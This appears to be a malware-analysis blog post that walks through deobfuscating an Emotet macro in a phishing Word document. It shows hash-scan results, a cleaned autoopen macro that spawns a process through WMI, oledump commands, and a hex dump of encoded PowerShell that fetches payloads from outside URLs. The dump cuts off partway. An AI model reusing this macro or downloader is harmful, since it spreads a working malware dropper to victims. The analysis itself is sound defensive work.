{"id":1312,"date":"2019-10-16T20:20:54","date_gmt":"2019-10-16T19:20:54","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1312"},"modified":"2019-10-16T21:10:56","modified_gmt":"2019-10-16T20:10:56","slug":"2019-10-16-emotet-maldoc-deobfuscated","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1312","title":{"rendered":"2019-10-16 Emotet maldoc deobfuscated"},"content":{"rendered":"

This sample is from a batch of emotet emails that I found in the email filters back on Monday afternoon (2019-10-14). While all the documents had a different hash (attached to this write-up), the macro that was executed was the same. Based on the URLs found in this sample, this looks like it was from “epoch 2” of emotet as documented here<\/a>. This write-up is to document how I managed to deobfuscate the macro script.<\/p>\n

\"\"<\/a><\/p>\n

\"\"<\/a><\/p>\n

\"\"<\/a><\/p>\n

\"\"<\/a><\/p>\n

\"\"<\/a><\/p>\n

Artifacts
\n===========<\/p>\n

 \r\n_________   _    _   ______  _____  ______                                   \r\n| | | | | \\ | |  | | | |  \\ \\  | |  | |  \\ \\     \/.)                          \r\n| | | | | | | |  | | | |  | |  | |  | |  | |    \/)\\|                          \r\n|_| |_| |_| \\_|__|_| |_|  |_| _|_|_ |_|  |_|   \/\/ \/                           \r\n                                              \/'" "                           \r\n                                                                              \r\nOnline Hash Checker for Virustotal and Other Services                         \r\nFlorian Roth - 0.13.0 April 2019                                                                                                                         \r\n \r\n[+] Found results CSV from previous run: check-results_attach.csv\r\n[+] Appending results to file: check-results_attach.csv\r\n[ ] Processing \/attach\/Report.doc ...\r\n[ ] Processing \/attach\/File72290.doc ...\r\n[ ] Processing \/attach\/Online Payment October 2019.doc ...\r\n[ ] Processing \/attach\/BL-1326 report p2.doc ...\r\n[ ] Processing \/attach\/FA_10063455599_10142019.doc ...\r\n[+] Processing 5 lines ...\r\n\r\n 1 \/ 5 ] Unknown                                                                \r\nHASH: fe03ad92a84a4921f451efe03720355bc824ff6ae8adef6db61df37d8f55fc02 COMMENT: \/attach\/Report.doc\r\nRESULT: - \/ -\r\n\r\n 2 \/ 5 ] Malicious                                                              \r\nHASH: 178c41b40d0ecfa10d5a5441b4a1ed1c440b6ba64f9042afb5b0c073cdcab8ec COMMENT: \/attach\/File72290.doc\r\nVIRUS: Microsoft: TrojanDownloader:O97M\/Emotet.OB!MTB \/ Kaspersky: HEUR:Trojan.MSOffice.SAgent.gen \/ McAfee: W97M\/Downloader!D09F6CFB8412 \/ TrendMicro: Trojan.W97M.POWLOAD.TIOIBEGP \/ ESET-NOD32: GenScript.GKX \/ Symantec: W97M.Downloader \/ F-Secure: Malware.VBA\/Dldr.Agent.terye \/ Sophos: Troj\/DocDl-VUL \/ GData: Macro.Trojan-Downloader.Posh.Z@gen\r\nTYPE: - FILENAMES: -\r\nFIRST: - LAST: 2019-10-15 07:01:45 COMMENTS: 0 USERS: -\r\nRESULT: 31 \/ 59\r\n\r\n 3 \/ 5 ] Unknown                                                                \r\nHASH: 01291b7e28a3ca3bfc682db156da1ba29aa55c84c4e88cb8682c43a06c94041d COMMENT: \/attach\/Online Payment October 2019.doc\r\nRESULT: - \/ -\r\n\r\n 4 \/ 5 ] Malicious                                                              \r\nHASH: 63e1801ee2c4b9fd49980188f100d78efb85c360a5772a4eeafce7eee56c3d9c COMMENT: \/attach\/BL-1326 report p2.doc\r\nVIRUS: Microsoft: TrojanDownloader:O97M\/Emotet.OB!MTB \/ Kaspersky: HEUR:Trojan.MSOffice.SAgent.gen \/ McAfee: W97M\/Downloader!09BE00087F6E \/ TrendMicro: Trojan.W97M.POWLOAD.TIOIBEGP \/ ESET-NOD32: GenScript.GKZ \/ Symantec: W97M.Downloader \/ F-Secure: Malware.VBA\/Dldr.Agent.skjrn \/ Sophos: Troj\/DocDl-VVE \/ GData: Macro.Trojan-Downloader.Posh.Z@gen\r\nTYPE: - FILENAMES: -\r\nFIRST: - LAST: 2019-10-15 10:05:50 COMMENTS: 0 USERS: -\r\nRESULT: 33 \/ 59\r\n\r\n 5 \/ 5 ] Malicious                                                              \r\nHASH: e856662ba9743307b0729746e88844935cacc1f126cbd2709c5f10916676ebd5 COMMENT: \/attach\/FA_10063455599_10142019.doc\r\nVIRUS: Microsoft: TrojanDownloader:O97M\/Emotet.OB!MTB \/ Kaspersky: HEUR:Trojan.MSOffice.SAgent.gen \/ McAfee: W97M\/Downloader!7450BFAD04A2 \/ TrendMicro: Trojan.W97M.POWLOAD.TIOIBEGP \/ ESET-NOD32: GenScript.GKZ \/ Symantec: W97M.Downloader \/ F-Secure: Malware.VBA\/Dldr.Agent.isqar \/ Sophos: Troj\/DocDl-VVE \/ GData: Macro.Trojan-Downloader.Posh.Z@gen\r\nTYPE: - FILENAMES: -\r\nFIRST: - LAST: 2019-10-15 17:26:22 COMMENTS: 0 USERS: -\r\nRESULT: 34 \/ 59\r\n[!] Sample on CAPE sandbox URL: http:\/\/cape.contextis.com\/analysis\/95085\/\r\n<\/pre>\n
Analysis
\n=========
\nTo make this easier, I decided to use OfficeMalScanner to get the files that contained the macro code. Looking at those files, there was an obvious pattern that could be seen. There is a lot of junk lines that either start with ‘Rem’ or a variable assignment of some sort. All of this was removed to help clean up the script. The following code block is the result of clearing out all the junk code and trying to “beautify” the script for ease of reading.<\/p>\n
\r\nAttribute VB_Name = "a0xb22b865f2f341e4"\r\nAttribute VB_Control = "a0x350ef9c11d458, 2, 2, MSForms, TextBox"\r\nAttribute VB_Control = "a0x18d5d9a5a483fb9, 1, 1, MSForms, TextBox"\r\n\r\nSub autoopen()\r\n\tOn Error Resume Next\r\n\ta0x1eb0cdf8e1\r\nEnd Sub\r\n\r\n\tFunction a0x1eb0cdf8e1()\r\n\t   On Error Resume Next\r\n\t   a0xbd1f3a6476a9 = a0xbd1f3a6476a9 + a0x60a8067fc150d9.Create(a0x25b9289e14e520(a0x25b9289e14e520(a0xb22b865f2f341e4.a0xc3c0a735d5 + a0xb22b865f2f341e4.a0x350ef9c11d458)), a0x12a4b2f54009, a0xd0975bf2bd8b, a0x4c575c5e09847d)\r\n\tEnd Function\r\n\r\n\t\tFunction a0x60a8067fc150d9()\r\n\t\t   On Error Resume Next\r\n\t\t   Set a0x60a8067fc150d9 = GetObject(a0x25b9289e14e520(a0x25b9289e14e520("6262626262w626262in6262mg62626262mts626262:Win62626262362622_6262Pro626262626262cess")))\r\n\t\tEnd Function\r\n\r\n\t\t\tFunction a0x25b9289e14e520(a0x77daf96f2e1c)\r\n\t\t\t   On Error Resume Next\r\n\t\t\t   a0x242df8b65eb52 = "62"\r\n\t\t\t   a0x25b9289e14e520 = Replace(a0x756d4a94e00d2, a0x242df8b65eb52, "")\r\n\t\t\tEnd Function\r\n\r\n\t\tFunction a0xd0975bf2bd8b()\r\n\t\t   On Error Resume Next\r\n\t\t   Set a0xd0975bf2bd8b = GetObject(a0x25b9289e14e520(a0x25b9289e14e520(a0xb22b865f2f341e4.a0x18d5d9a5a483fb9)))\r\n\t\t   a0xd0975bf2bd8b.ShowWindow = wdLinkNone\r\n\t\tEnd Function\r\n<\/pre>\n
With this “cleaned” up version of the macro script, one should be able to eyeball what is going on. So we know that as soon as the Word document is opened and the macro is allowed, it calls the function ‘a0x1eb0cdf8e1.’ From there, this function then calls on some other functions to start building the script and removing the number ’62’ from the variable “a0x25b9289e14e520,” which proceeds to give you the statement “winmgmts:Win32_Process.” So now we know that WMI is being called to create a process. Since this is an emotet macro, we know that the MO for these use Powershell that has been base64 encoded. Also, considering that the macro has some textboxes in it, we can make the assumption that the Powershell code can be found there since there are some callouts to those textboxes. The issue is where and how to find it. This is where Didier Stevens’ oledump.py script<\/a> comes in handy.<\/p>\n
Initially I wanted to see the different streams that made up this script. I used the following command to see how the macro was laid out: .\/oledump.py \/attach\/FA_10063455599_10142019.doc. That gave me the following output:<\/p>\n
\r\n  1:       114 '\\x01CompObj'\r\n  2:       332 '\\x05DocumentSummaryInformation'\r\n  3:       448 '\\x05SummaryInformation'\r\n  4:      7401 '1Table'\r\n  5:     72737 'Data'\r\n  6:       669 'Macros\/PROJECT'\r\n  7:     21377 'Macros\/VBA\/_VBA_PROJECT'\r\n  8:      1898 'Macros\/VBA\/__SRP_0'\r\n  9:       317 'Macros\/VBA\/__SRP_1'\r\n 10:      1040 'Macros\/VBA\/__SRP_2'\r\n 11:       300 'Macros\/VBA\/__SRP_3'\r\n 12: m     690 'Macros\/VBA\/a0x15ad172fde'\r\n 13: M   57615 'Macros\/VBA\/a0x674c6739d8b46'\r\n 14: M   44518 'Macros\/VBA\/a0xa82b849347'\r\n 15: m    1988 'Macros\/VBA\/a0xb22b865f2f341e4'\r\n 16:       981 'Macros\/VBA\/dir'\r\n 17:        36 'ObjectPool\/_1632577978\/\\x03OCXNAME'\r\n 18:        72 'ObjectPool\/_1632577978\/contents'\r\n 19:        40 'ObjectPool\/_1632577979\/\\x03OCXNAME'\r\n 20:       156 'ObjectPool\/_1632577979\/contents'\r\n 21:        36 'ObjectPool\/_1632577980\/\\x03OCXNAME'\r\n 22:      3776 'ObjectPool\/_1632577980\/contents'\r\n 23:        30 'ObjectPool\/_1632577981\/\\x03OCXNAME'\r\n 24:        76 'ObjectPool\/_1632577981\/contents'\r\n 25:        30 'ObjectPool\/_1632577982\/\\x03OCXNAME'\r\n 26:       112 'ObjectPool\/_1632577982\/contents'\r\n 27:        34 'ObjectPool\/_1632577983\/\\x03OCXNAME'\r\n 28:        72 'ObjectPool\/_1632577983\/contents'\r\n 29:      4142 'WordDocument'\r\n<\/pre>\n
Since we already have the bulk of the script and just need to figure out where the Powershell code is, I start looking at the “ObjectPool” paying attention to how large they are (seen in the third column). The first one that I focus on is stream 22 (‘ObjectPool\/_1632577980\/contents’). So using this command: .\/oledump.py -s 22 \/attach\/FA_10063455599_10142019.doc I can see what appears to be a large amount of base64 data. As a side note, as of late, emotet has been using a base64 encoded Powershell command that starts with ‘PAA…’ which is a great indicator of what you are dealing with. This will most likely change, but as of right now this seems to be the norm.<\/p>\n
\r\n00000000: 00 02 A0 0E 01 01 40 80  00 00 00 00 1B 48 80 2C  ......@......H.,\r\n00000010: 86 0E 00 80 1A 00 00 00  1A 00 00 00 50 41 41 6A  ............PAAj\r\n00000020: 36 32 41 43 41 41 36 32  61 41 42 30 36 32 41 48  62ACAA62aAB062AH\r\n00000030: 51 41 36 32 63 41 42 7A  36 32 41 44 6F 41 36 32  QA62cABz62ADoA62\r\n00000040: 4C 77 41 76 36 32 41 48  63 41 36 32 64 77 42 33  LwAv62AHcA62dwB3\r\n00000050: 36 32 41 43 34 41 36 32  62 51 42 70 36 32 41 47  62AC4A62bQBp62AG\r\n00000060: 4D 41 36 32 63 67 42 76  36 32 41 48 4D 41 36 32  MA62cgBv62AHMA62\r\n00000070: 62 77 42 6D 36 32 41 48  51 41 36 32 4C 67 42 6A  bwBm62AHQA62LgBj\r\n00000080: 36 32 41 47 38 41 36 32  62 51 41 76 36 32 41 43  62AG8A62bQAv62AC\r\n00000090: 41 41 36 32 49 77 41 2B  36 32 41 43 41 41 36 32  AA62IwA+62ACAA62\r\n000000A0: 4A 41 42 68 36 32 41 44  41 41 36 32 65 41 42 6D  JABh62ADAA62eABm\r\n000000B0: 36 32 41 44 41 41 36 32  4E 51 41 31 36 32 41 44  62ADAA62NQA162AD\r\n000000C0: 41 41 36 32 5A 67 41 79  36 32 41 47 55 41 36 32  AA62ZgAy62AGUA62\r\n000000D0: 4E 51 41 32 36 32 41 47  51 41 36 32 5A 41 42 6A  NQA262AGQA62ZABj\r\n000000E0: 36 32 41 44 30 41 36 32  4A 77 42 68 36 32 41 44  62AD0A62JwBh62AD\r\n000000F0: 41 41 36 32 65 41 41 78  36 32 41 47 55 41 36 32  AA62eAAx62AGUA62\r\n00000100: 4E 77 41 33 36 32 41 47  49 41 36 32 4F 41 41 31  NwA362AGIA62OAA1\r\n00000110: 36 32 41 44 45 41 36 32  5A 41 41 30 36 32 41 43  62ADEA62ZAA062AC\r\n00000120: 63 41 36 32 4F 77 41 6B  36 32 41 47 45 41 36 32  cA62OwAk62AGEA62\r\n00000130: 4D 41 42 34 36 32 41 47  49 41 36 32 4D 67 42 6A  MAB462AGIA62MgBj\r\n00000140: 36 32 41 47 4D 41 36 32  4E 77 42 6B 36 32 41 44  62AGMA62NwBk62AD\r\n00000150: 41 41 36 32 4D 67 41 7A  36 32 41 44 6B 41 36 32  AA62MgAz62ADkA62\r\n00000160: 49 41 41 39 36 32 41 43  41 41 36 32 4A 77 41 7A  IAA962ACAA62JwAz\r\n00000170: 36 32 41 44 45 41 36 32  4E 77 41 6E 36 32 41 44  62ADEA62NwAn62AD\r\n00000180: 73 41 36 32 4A 41 42 68  36 32 41 44 41 41 36 32  sA62JABh62ADAA62\r\n00000190: 65 41 41 35 36 32 41 44  6B 41 36 32 4F 41 42 6D  eAA562ADkA62OABm\r\n000001A0: 36 32 41 44 45 41 36 32  4F 41 41 30 36 32 41 44  62ADEA62OAA062AD\r\n000001B0: 49 41 36 32 4D 67 42 6C  36 32 41 44 4D 41 36 32  IA62MgBl62ADMA62\r\n000001C0: 5A 67 41 39 36 32 41 43  63 41 36 32 59 51 41 77  ZgA962ACcA62YQAw\r\n000001D0: 36 32 41 48 67 41 36 32  59 67 42 68 36 32 41 44  62AHgA62YgBh62AD\r\n000001E0: 55 41 36 32 4E 51 42 6D  36 32 41 44 41 41 36 32  UA62NQBm62ADAA62\r\n000001F0: 4D 77 42 69 36 32 41 47  55 41 36 32 4D 77 42 69  MwBi62AGUA62MwBi\r\n00000200: 36 32 41 44 49 41 36 32  4D 51 42 6B 36 32 41 47  62ADIA62MQBk62AG\r\n00000210: 45 41 36 32 4A 77 41 37  36 32 41 43 51 41 36 32  EA62JwA762ACQA62\r\n00000220: 59 51 41 77 36 32 41 48  67 41 36 32 4F 51 42 68  YQAw62AHgA62OQBh\r\n00000230: 36 32 41 44 49 41 36 32  59 67 41 31 36 32 41 47  62ADIA62YgA162AG\r\n00000240: 45 41 36 32 4D 51 41 7A  36 32 41 44 4D 41 36 32  EA62MQAz62ADMA62\r\n00000250: 4F 41 42 6D 36 32 41 44  55 41 36 32 4D 41 41 39  OABm62ADUA62MAA9\r\n00000260: 36 32 41 43 51 41 36 32  5A 51 42 75 36 32 41 48  62ACQA62ZQBu62AH\r\n00000270: 59 41 36 32 4F 67 42 31  36 32 41 48 4D 41 36 32  YA62OgB162AHMA62\r\n00000280: 5A 51 42 79 36 32 41 48  41 41 36 32 63 67 42 76  ZQBy62AHAA62cgBv\r\n00000290: 36 32 41 47 59 41 36 32  61 51 42 73 36 32 41 47  62AGYA62aQBs62AG\r\n000002A0: 55 41 36 32 4B 77 41 6E  36 32 41 46 77 41 36 32  UA62KwAn62AFwA62\r\n000002B0: 4A 77 41 72 36 32 41 43  51 41 36 32 59 51 41 77  JwAr62ACQA62YQAw\r\n000002C0: 36 32 41 48 67 41 36 32  59 67 41 79 36 32 41 47  62AHgA62YgAy62AG\r\n000002D0: 4D 41 36 32 59 77 41 33  36 32 41 47 51 41 36 32  MA62YwA362AGQA62\r\n000002E0: 4D 41 41 79 36 32 41 44  4D 41 36 32 4F 51 41 72  MAAy62ADMA62OQAr\r\n000002F0: 36 32 41 43 63 41 36 32  4C 67 42 6C 36 32 41 48  62ACcA62LgBl62AH\r\n00000300: 67 41 36 32 5A 51 41 6E  36 32 41 44 73 41 36 32  gA62ZQAn62ADsA62\r\n00000310: 4A 41 42 68 36 32 41 44  41 41 36 32 65 41 41 77  JABh62ADAA62eAAw\r\n00000320: 36 32 41 44 51 41 36 32  4F 51 41 34 36 32 41 44  62ADQA62OQA462AD\r\n00000330: 55 41 36 32 5A 41 41 33  36 32 41 47 49 41 36 32  UA62ZAA362AGIA62\r\n00000340: 4E 51 41 33 36 32 41 44  30 41 36 32 4A 77 42 68  NQA362AD0A62JwBh\r\n00000350: 36 32 41 44 41 41 36 32  65 41 41 79 36 32 41 47  62ADAA62eAAy62AG\r\n00000360: 45 41 36 32 4F 41 41 78  36 32 41 47 51 41 36 32  EA62OAAx62AGQA62\r\n00000370: 5A 41 42 68 36 32 41 47  4D 41 36 32 4E 77 41 31  ZABh62AGMA62NwA1\r\n00000380: 36 32 41 47 49 41 36 32  4D 67 42 6C 36 32 41 43  62AGIA62MgBl62AC\r\n00000390: 63 41 36 32 4F 77 41 6B  36 32 41 47 45 41 36 32  cA62OwAk62AGEA62\r\n000003A0: 4D 41 42 34 36 32 41 44  49 41 36 32 5A 51 41 79  MAB462ADIA62ZQAy\r\n000003B0: 36 32 41 44 55 41 36 32  4F 51 42 68 36 32 41 44  62ADUA62OQBh62AD\r\n000003C0: 63 41 36 32 4F 41 41 34  36 32 41 44 51 41 36 32  cA62OAA462ADQA62\r\n000003D0: 50 51 41 6D 36 32 41 43  67 41 36 32 4A 77 42 75  PQAm62ACgA62JwBu\r\n000003E0: 36 32 41 47 55 41 36 32  64 77 41 74 36 32 41 47  62AGUA62dwAt62AG\r\n000003F0: 38 41 36 32 4A 77 41 72  36 32 41 43 63 41 36 32  8A62JwAr62ACcA62\r\n00000400: 59 67 42 71 36 32 41 47  55 41 36 32 4A 77 41 72  YgBq62AGUA62JwAr\r\n00000410: 36 32 41 43 63 41 36 32  59 77 41 6E 36 32 41 43  62ACcA62YwAn62AC\r\n00000420: 73 41 36 32 4A 77 42 30  36 32 41 43 63 41 36 32  sA62JwB062ACcA62\r\n00000430: 4B 51 41 67 36 32 41 47  34 41 36 32 52 51 42 55  KQAg62AG4A62RQBU\r\n00000440: 36 32 41 43 34 41 36 32  56 77 42 6C 36 32 41 45  62AC4A62VwBl62AE\r\n00000450: 49 41 36 32 51 77 42 4D  36 32 41 45 6B 41 36 32  IA62QwBM62AEkA62\r\n00000460: 52 51 42 4F 36 32 41 48  51 41 36 32 4F 77 41 6B  RQBO62AHQA62OwAk\r\n00000470: 36 32 41 47 45 41 36 32  4D 41 42 34 36 32 41 44  62AGEA62MAB462AD\r\n00000480: 59 41 36 32 4E 77 42 6B  36 32 41 47 45 41 36 32  YA62NwBk62AGEA62\r\n00000490: 4E 77 42 6D 36 32 41 44  6B 41 36 32 4F 41 41 79  NwBm62ADkA62OAAy\r\n000004A0: 36 32 41 44 59 41 36 32  4E 67 41 39 36 32 41 43  62ADYA62NgA962AC\r\n000004B0: 63 41 36 32 61 41 42 30  36 32 41 48 51 41 36 32  cA62aAB062AHQA62\r\n000004C0: 63 41 42 7A 36 32 41 44  6F 41 36 32 4C 77 41 76  cABz62ADoA62LwAv\r\n000004D0: 36 32 41 47 59 41 36 32  61 51 42 73 36 32 41 47  62AGYA62aQBs62AG\r\n000004E0: 55 41 36 32 5A 77 42 7A  36 32 41 48 51 41 36 32  UA62ZwBz62AHQA62\r\n000004F0: 4C 67 42 6A 36 32 41 47  38 41 36 32 62 51 41 76  LgBj62AG8A62bQAv\r\n00000500: 36 32 41 48 63 41 36 32  63 41 41 74 36 32 41 47  62AHcA62cAAt62AG\r\n00000510: 45 41 36 32 5A 41 42 74  36 32 41 47 6B 41 36 32  EA62ZABt62AGkA62\r\n00000520: 62 67 41 76 36 32 41 45  73 41 36 32 62 41 41 76  bgAv62AEsA62bAAv\r\n00000530: 36 32 41 43 6F 41 36 32  61 41 42 30 36 32 41 48  62ACoA62aAB062AH\r\n00000540: 51 41 36 32 63 41 42 7A  36 32 41 44 6F 41 36 32  QA62cABz62ADoA62\r\n00000550: 4C 77 41 76 36 32 41 48  63 41 36 32 64 77 42 33  LwAv62AHcA62dwB3\r\n00000560: 36 32 41 43 34 41 36 32  62 51 42 6C 36 32 41 48  62AC4A62bQBl62AH\r\n00000570: 49 41 36 32 59 77 42 6C  36 32 41 47 73 41 36 32  IA62YwBl62AGsA62\r\n00000580: 62 77 41 75 36 32 41 47  4D 41 36 32 62 77 42 74  bwAu62AGMA62bwBt\r\n00000590: 36 32 41 43 38 41 36 32  64 77 42 77 36 32 41 43  62AC8A62dwBw62AC\r\n000005A0: 30 41 36 32 59 77 42 76  36 32 41 47 34 41 36 32  0A62YwBv62AG4A62\r\n000005B0: 64 41 42 6C 36 32 41 47  34 41 36 32 64 41 41 76  dABl62AG4A62dAAv\r\n000005C0: 36 32 41 44 45 41 36 32  5A 51 42 72 36 32 41 44  62ADEA62ZQBr62AD\r\n000005D0: 63 41 36 32 4C 77 41 71  36 32 41 47 67 41 36 32  cA62LwAq62AGgA62\r\n000005E0: 64 41 42 30 36 32 41 48  41 41 36 32 63 77 41 36  dAB062AHAA62cwA6\r\n000005F0: 36 32 41 43 38 41 36 32  4C 77 42 72 36 32 41 47  62AC8A62LwBr62AG\r\n00000600: 45 41 36 32 62 51 42 77  36 32 41 48 55 41 36 32  EA62bQBw62AHUA62\r\n00000610: 63 77 42 74 36 32 41 47  45 41 36 32 62 67 42 70  cwBt62AGEA62bgBp\r\n00000620: 36 32 41 47 45 41 36 32  4C 67 42 6A 36 32 41 47  62AGEA62LgBj62AG\r\n00000630: 38 41 36 32 62 51 41 76  36 32 41 48 63 41 36 32  8A62bQAv62AHcA62\r\n00000640: 63 41 41 74 36 32 41 47  4D 41 36 32 62 77 42 75  cAAt62AGMA62bwBu\r\n00000650: 36 32 41 48 51 41 36 32  5A 51 42 75 36 32 41 48  62AHQA62ZQBu62AH\r\n00000660: 51 41 36 32 4C 77 41 30  36 32 41 47 59 41 36 32  QA62LwA062AGYA62\r\n00000670: 4D 67 42 6A 36 32 41 44  67 41 36 32 4C 77 41 71  MgBj62ADgA62LwAq\r\n00000680: 36 32 41 47 67 41 36 32  64 41 42 30 36 32 41 48  62AGgA62dAB062AH\r\n00000690: 41 41 36 32 63 77 41 36  36 32 41 43 38 41 36 32  AA62cwA662AC8A62\r\n000006A0: 4C 77 42 32 36 32 41 48  41 41 36 32 63 77 41 7A  LwB262AHAA62cwAz\r\n000006B0: 36 32 41 44 4D 41 36 32  4D 77 41 75 36 32 41 47  62ADMA62MwAu62AG\r\n000006C0: 4D 41 36 32 62 77 42 74  36 32 41 43 38 41 36 32  MA62bwBt62AC8A62\r\n000006D0: 4D 41 41 33 36 32 41 47  67 41 36 32 4D 77 41 78  MAA362AGgA62MwAx\r\n000006E0: 36 32 41 43 38 41 36 32  4D 51 42 6E 36 32 41 47  62AC8A62MQBn62AG\r\n000006F0: 6F 41 36 32 65 51 41 35  36 32 41 43 38 41 36 32  oA62eQA562AC8A62\r\n00000700: 4B 67 42 6F 36 32 41 48  51 41 36 32 64 41 42 77  KgBo62AHQA62dABw\r\n00000710: 36 32 41 44 6F 41 36 32  4C 77 41 76 36 32 41 47  62ADoA62LwAv62AG\r\n00000720: 34 41 36 32 64 51 42 30  36 32 41 48 51 41 36 32  4A62dQB062AHQA62\r\n00000730: 62 41 42 6C 36 32 41 47  59 41 36 32 61 51 42 69  bABl62AGYA62aQBi\r\n00000740: 36 32 41 47 55 41 36 32  63 67 42 68 36 32 41 48  62AGUA62cgBh62AH\r\n00000750: 49 41 36 32 64 41 41 75  36 32 41 47 4D 41 36 32  IA62dAAu62AGMA62\r\n00000760: 62 77 42 74 36 32 41 43  38 41 36 32 64 77 42 77  bwBt62AC8A62dwBw\r\n00000770: 36 32 41 43 30 41 36 32  59 51 42 6B 36 32 41 47  62AC0A62YQBk62AG\r\n00000780: 30 41 36 32 61 51 42 75  36 32 41 43 38 41 36 32  0A62aQBu62AC8A62\r\n00000790: 5A 51 42 4A 36 32 41 45  51 41 36 32 51 77 42 68  ZQBJ62AEQA62QwBh\r\n000007A0: 36 32 41 45 38 41 36 32  4C 77 41 6E 36 32 41 43  62AE8A62LwAn62AC\r\n000007B0: 34 41 36 32 49 67 42 7A  36 32 41 46 41 41 36 32  4A62IgBz62AFAA62\r\n000007C0: 59 41 42 4D 36 32 41 47  6B 41 36 32 64 41 41 69  YABM62AGkA62dAAi\r\n000007D0: 36 32 41 43 67 41 36 32  4A 77 41 71 36 32 41 43  62ACgA62JwAq62AC\r\n000007E0: 63 41 36 32 4B 51 41 37  36 32 41 43 51 41 36 32  cA62KQA762ACQA62\r\n000007F0: 59 51 41 77 36 32 41 48  67 41 36 32 4D 77 42 6D  YQAw62AHgA62MwBm\r\n00000800: 36 32 41 44 63 41 36 32  4E 77 41 34 36 32 41 44  62ADcA62NwA462AD\r\n00000810: 49 41 36 32 4E 77 41 7A  36 32 41 47 45 41 36 32  IA62NwAz62AGEA62\r\n00000820: 59 77 41 30 36 32 41 44  55 41 36 32 5A 41 41 39  YwA062ADUA62ZAA9\r\n00000830: 36 32 41 43 63 41 36 32  59 51 41 77 36 32 41 48  62ACcA62YQAw62AH\r\n00000840: 67 41 36 32 4F 51 41 34  36 32 41 44 41 41 36 32  gA62OQA462ADAA62\r\n00000850: 59 67 42 6A 36 32 41 44  67 41 36 32 4D 77 41 78  YgBj62ADgA62MwAx\r\n00000860: 36 32 41 44 4D 41 36 32  5A 67 42 6D 36 32 41 43  62ADMA62ZgBm62AC\r\n00000870: 63 41 36 32 4F 77 42 6D  36 32 41 47 38 41 36 32  cA62OwBm62AG8A62\r\n00000880: 63 67 42 6C 36 32 41 47  45 41 36 32 59 77 42 6F  cgBl62AGEA62YwBo\r\n00000890: 36 32 41 43 67 41 36 32  4A 41 42 68 36 32 41 44  62ACgA62JABh62AD\r\n000008A0: 41 41 36 32 65 41 41 33  36 32 41 44 59 41 36 32  AA62eAA362ADYA62\r\n000008B0: 5A 41 42 69 36 32 41 44  49 41 36 32 4E 41 42 6B  ZABi62ADIA62NABk\r\n000008C0: 36 32 41 44 41 41 36 32  4D 51 41 33 36 32 41 43  62ADAA62MQA362AC\r\n000008D0: 41 41 36 32 61 51 42 75  36 32 41 43 41 41 36 32  AA62aQBu62ACAA62\r\n000008E0: 4A 41 42 68 36 32 41 44  41 41 36 32 65 41 41 32  JABh62ADAA62eAA2\r\n000008F0: 36 32 41 44 63 41 36 32  5A 41 42 68 36 32 41 44  62ADcA62ZABh62AD\r\n00000900: 63 41 36 32 5A 67 41 35  36 32 41 44 67 41 36 32  cA62ZgA562ADgA62\r\n00000910: 4D 67 41 32 36 32 41 44  59 41 36 32 4B 51 42 37  MgA262ADYA62KQB7\r\n00000920: 36 32 41 48 51 41 36 32  63 67 42 35 36 32 41 48  62AHQA62cgB562AH\r\n00000930: 73 41 36 32 4A 41 42 68  36 32 41 44 41 41 36 32  sA62JABh62ADAA62\r\n00000940: 65 41 41 79 36 32 41 47  55 41 36 32 4D 67 41 31  eAAy62AGUA62MgA1\r\n00000950: 36 32 41 44 6B 41 36 32  59 51 41 33 36 32 41 44  62ADkA62YQA362AD\r\n00000960: 67 41 36 32 4F 41 41 30  36 32 41 43 34 41 36 32  gA62OAA062AC4A62\r\n00000970: 49 67 42 45 36 32 41 45  38 41 36 32 59 41 42 58  IgBE62AE8A62YABX\r\n00000980: 36 32 41 47 41 41 36 32  54 67 42 4D 36 32 41 45  62AGAA62TgBM62AE\r\n00000990: 38 41 36 32 51 51 42 67  36 32 41 47 51 41 36 32  8A62QQBg62AGQA62\r\n000009A0: 52 67 42 70 36 32 41 47  77 41 36 32 5A 51 41 69  RgBp62AGwA62ZQAi\r\n000009B0: 36 32 41 43 67 41 36 32  4A 41 42 68 36 32 41 44  62ACgA62JABh62AD\r\n000009C0: 41 41 36 32 65 41 41 33  36 32 41 44 59 41 36 32  AA62eAA362ADYA62\r\n000009D0: 5A 41 42 69 36 32 41 44  49 41 36 32 4E 41 42 6B  ZABi62ADIA62NABk\r\n000009E0: 36 32 41 44 41 41 36 32  4D 51 41 33 36 32 41 43  62ADAA62MQA362AC\r\n000009F0: 77 41 36 32 49 41 41 6B  36 32 41 47 45 41 36 32  wA62IAAk62AGEA62\r\n00000A00: 4D 41 42 34 36 32 41 44  6B 41 36 32 59 51 41 79  MAB462ADkA62YQAy\r\n00000A10: 36 32 41 47 49 41 36 32  4E 51 42 68 36 32 41 44  62AGIA62NQBh62AD\r\n00000A20: 45 41 36 32 4D 77 41 7A  36 32 41 44 67 41 36 32  EA62MwAz62ADgA62\r\n00000A30: 5A 67 41 31 36 32 41 44  41 41 36 32 4B 51 41 37  ZgA162ADAA62KQA7\r\n00000A40: 36 32 41 43 51 41 36 32  59 51 41 77 36 32 41 48  62ACQA62YQAw62AH\r\n00000A50: 67 41 36 32 59 51 41 34  36 32 41 44 63 41 36 32  gA62YQA462ADcA62\r\n00000A60: 59 51 42 68 36 32 41 44  67 41 36 32 4E 41 42 6A  YQBh62ADgA62NABj\r\n00000A70: 36 32 41 47 55 41 36 32  4D 41 41 35 36 32 41 47  62AGUA62MAA562AG\r\n00000A80: 4D 41 36 32 50 51 41 6E  36 32 41 47 45 41 36 32  MA62PQAn62AGEA62\r\n00000A90: 4D 41 42 34 36 32 41 47  51 41 36 32 4E 41 41 34  MAB462AGQA62NAA4\r\n00000AA0: 36 32 41 44 63 41 36 32  5A 41 42 6C 36 32 41 47  62ADcA62ZABl62AG\r\n00000AB0: 51 41 36 32 59 67 41 7A  36 32 41 44 45 41 36 32  QA62YgAz62ADEA62\r\n00000AC0: 4D 67 42 6C 36 32 41 43  63 41 36 32 4F 77 42 4A  MgBl62ACcA62OwBJ\r\n00000AD0: 36 32 41 47 59 41 36 32  49 41 41 6F 36 32 41 43  62AGYA62IAAo62AC\r\n00000AE0: 67 41 36 32 4A 67 41 6F  36 32 41 43 63 41 36 32  gA62JgAo62ACcA62\r\n00000AF0: 52 77 42 6C 36 32 41 48  51 41 36 32 4C 51 42 4A  RwBl62AHQA62LQBJ\r\n00000B00: 36 32 41 43 63 41 36 32  4B 77 41 6E 36 32 41 48  62ACcA62KwAn62AH\r\n00000B10: 51 41 36 32 4A 77 41 72  36 32 41 43 63 41 36 32  QA62JwAr62ACcA62\r\n00000B20: 5A 51 42 74 36 32 41 43  63 41 36 32 4B 51 41 